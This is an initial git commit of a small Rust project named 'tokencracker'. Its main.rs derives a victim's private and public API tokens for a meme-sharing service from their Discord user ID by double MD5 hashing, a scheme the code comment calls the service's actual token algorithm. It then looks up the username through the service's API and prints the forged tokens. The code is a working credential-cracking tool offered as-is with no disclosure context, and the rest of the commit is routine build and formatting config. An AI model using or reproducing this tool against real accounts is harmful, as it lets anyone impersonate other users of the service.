This commit is contained in:
LordMZTE 2020-11-10 23:16:51 +01:00
commit 086b51d48d
7 changed files with 139 additions and 0 deletions

5
.gitignore vendored Normal file
View File

@ -0,0 +1,5 @@
/target
.idea
*.lock
*.iml
.vscode

4
Cargo.toml Normal file
View File

@ -0,0 +1,4 @@
[workspace]
members = [
"tokencracker",
]

12
rustfmt.toml Normal file
View File

@ -0,0 +1,12 @@
unstable_features = true
binop_separator = "Back"
format_code_in_doc_comments = true
format_macro_matchers = true
format_strings = true
imports_layout = "HorizontalVertical"
match_block_trailing_comma = true
merge_imports = true
normalize_comments = true
use_field_init_shorthand = true
use_try_shorthand = true
wrap_comments = true

20
tokencracker/Cargo.toml Normal file
View File

@ -0,0 +1,20 @@
[package]
name = "tokencracker"
version = "0.1.0"
authors = ["LordMZTE <lord@mzte.de>"]
edition = "2018"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[[bin]]
name = "jmtoken"
path = "src/main.rs"
[dependencies]
anyhow = "1.0.34"
clap = "2.33.3"
md5 = "0.7.0"
reqwest = "0.10.8"
serde = { version = "1.0.117", features = ["derive"] }
serde_json = "1.0.59"
tokio = { version = "~0.2", features = ["full"] }

42
tokencracker/src/api.rs Normal file
View File

@ -0,0 +1,42 @@
use serde::de::{Error, Unexpected, Visitor};
use core::fmt::Formatter;
use serde::{Deserialize, Deserializer};
#[derive(Deserialize, Debug)]
pub struct UserResponse {
pub status: u16,
pub user: JensmemesUser,
}
#[derive(Deserialize, Debug)]
pub struct JensmemesUser {
pub name: String,
pub tokenhash: String,
pub userdir: String,
pub id: String,
#[serde(deserialize_with = "deserialize_uploads")]
pub dayuploads: u32,
}
fn deserialize_uploads<'de, D>(de: D) -> Result<u32, D::Error>
where
D: Deserializer<'de>,
{
struct Vis;
impl<'de> Visitor<'de> for Vis {
type Value = u32;
fn expecting(&self, fmt: &mut Formatter<'_>) -> Result<(), std::fmt::Error> {
write!(fmt, "a u32")
}
fn visit_str<E>(self, v: &str) -> Result<Self::Value, E>
where
E: Error,
{
v.parse().map_err(|_| E::invalid_type(Unexpected::Str(v), &"a u32"))
}
}
de.deserialize_str(Vis)
}

6
tokencracker/src/lib.rs Normal file
View File

@ -0,0 +1,6 @@
pub mod api;
/// returns the md5 hash of the input string formatted as hex
pub fn hex_string_hash(s: &str) -> String {
format!("{:x}", md5::compute(s.as_bytes()))
}

50
tokencracker/src/main.rs Normal file
View File

@ -0,0 +1,50 @@
use anyhow::Result;
use clap::{App, Arg};
use reqwest::{Client, Url};
use tokencracker::{api::UserResponse, hex_string_hash};
#[tokio::main]
async fn main() -> Result<()> {
let http = Client::builder().build()?;
let matches = App::new("tokencracker")
.arg(
Arg::with_name("discord_id")
.index(1)
.required(true)
.help("The discord ID of the user whos token to crack."),
)
.get_matches();
let id = matches.value_of("discord_id").unwrap();
// yes, this is the actual jensmemes token algorythm
let private = hex_string_hash(id);
let public = hex_string_hash(&private);
// get discord username from jensmemes API
let response = http
.get(Url::parse_with_params(
"https://data.tilera.xyz/api/jensmemes/user",
&[("id", &public)],
)?)
.send()
.await?;
let username =
if let (200..=210, Ok(usr)) = (response.status().as_u16(), response.bytes().await) {
let UserResponse { user, .. } = serde_json::from_slice::<UserResponse>(&usr)?;
user.name
} else {
"Not in Database".into()
};
println!(
"Username: {}
Public Token: {}
Private Token: {}",
username, public, private
);
Ok(())
}